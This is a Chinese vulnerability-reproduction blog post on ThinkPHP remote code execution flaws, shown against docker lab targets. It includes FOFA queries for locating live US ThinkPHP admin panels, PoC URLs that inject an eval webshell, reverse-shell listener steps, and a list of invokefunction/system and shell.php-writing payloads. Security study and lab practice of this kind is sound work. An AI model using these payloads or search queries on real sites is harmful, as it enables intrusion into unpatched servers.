Thinkphp历史漏洞复现

Thinkphp简介

Thinkphp 是一种开源框架。是一个由国人开发的支持 windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms(内容管理系统)就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp 开发的网站。

Thinkphp常见漏洞影响版本

ThinkPHP2.x 任意代码执行漏洞
ThinkPHP3.2.3 缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.3 最新版update注入漏洞
ThinkPHP3.2.X find_select_delete注入
ThinkPHP3.X order_by注入漏洞
ThinkPHP5.0.X sql注入漏洞
ThinkPHP5.0.10 缓存函数设计缺陷可导致Getshell
ThinkPHP5 SQL注入漏洞&&敏感信息泄露
ThinkPHP5.X order_by注入漏洞
ThinkPHP5.X 远程代码执行

FOFA搜索

header="thinkphp" && country="US" header="thinkphp" && country="US" && title="后台管理"

Thinkphp 2.x 任意代码执行漏洞

漏洞简介

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

漏洞复现

  1. docker搭建靶场环境
ls
cd thinkphp
ls
cd 2-rce
ls
docker-compose up -d

在这里插入图片描述

  1. 访问靶场地址。
    在这里插入图片描述

  2. 验证漏洞是否存在。

http://171.16.1.106:8080/index.php?s=/index/index/name/${@phpinfo()}
或者
http://171.16.1.106:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

在这里插入图片描述

  1. 构造poc
http://171.16.1.106:8080/index.php?s=a/b/c/${@print(eval($_POST[zsyy]))}

在这里插入图片描述

  1. 使用蚁剑测试连接。
    在这里插入图片描述

  2. getshell。
    在这里插入图片描述

  3. 构造poc,使用抓包工具burp suite,修改数据包插入poc。
    抓包后发送到重发器
    在这里插入图片描述更换http请求方式为post。
    在这里插入图片描述
    修改包数据,检验漏洞。
    在这里插入图片描述发现执行成功。

Thinkphp5.0.23远程代码执行漏洞(CVE-2018-20062)

漏洞简介

Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞

影响版本:
Thinkphp 5.0.0~ 5.0.23

漏洞复现

  1. docker搭建靶场环境
ls
cd thinkphp
ls
cd 5.0.23-rce
ls
docker-compose up -d

在这里插入图片描述

  1. 访问靶场地址。
    在这里插入图片描述

  2. 构造poc,使用抓包工具burp suite,修改数据包插入poc。
    在这里插入图片描述

反弹shell
  1. 在攻击机新建xx.sh,写入bash反弹shell命令。
    在这里插入图片描述
    IP为攻击机的ip,端口自定义

  2. 攻击机开启监听。

python3 -m http.server 80

在这里插入图片描述另开一个窗口执行:

nc64.exe -lvp 6666

在这里插入图片描述

  1. 使用抓包工具burp suite,修改数据包。
    在这里插入图片描述
  2. 成功反弹shell。在这里插入图片描述

ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析(CNVD-2018-24942)

原理:框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。

影响版本:

ThinkPHP 5.0.5-5.0.22 || 5.1.0-5.1.30

漏洞复现

  1. docker搭建靶场环境。
ls
cd thinkphp
ls
cd 5-rce
ls
docker-compose up -d

在这里插入图片描述

  1. 访问靶场。写入poc。
    poc1:
ip+/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1

在这里插入图片描述
poc2:
5.1.x:

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x:

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #命令执行

在这里插入图片描述在这里插入图片描述

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

曲折上升

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值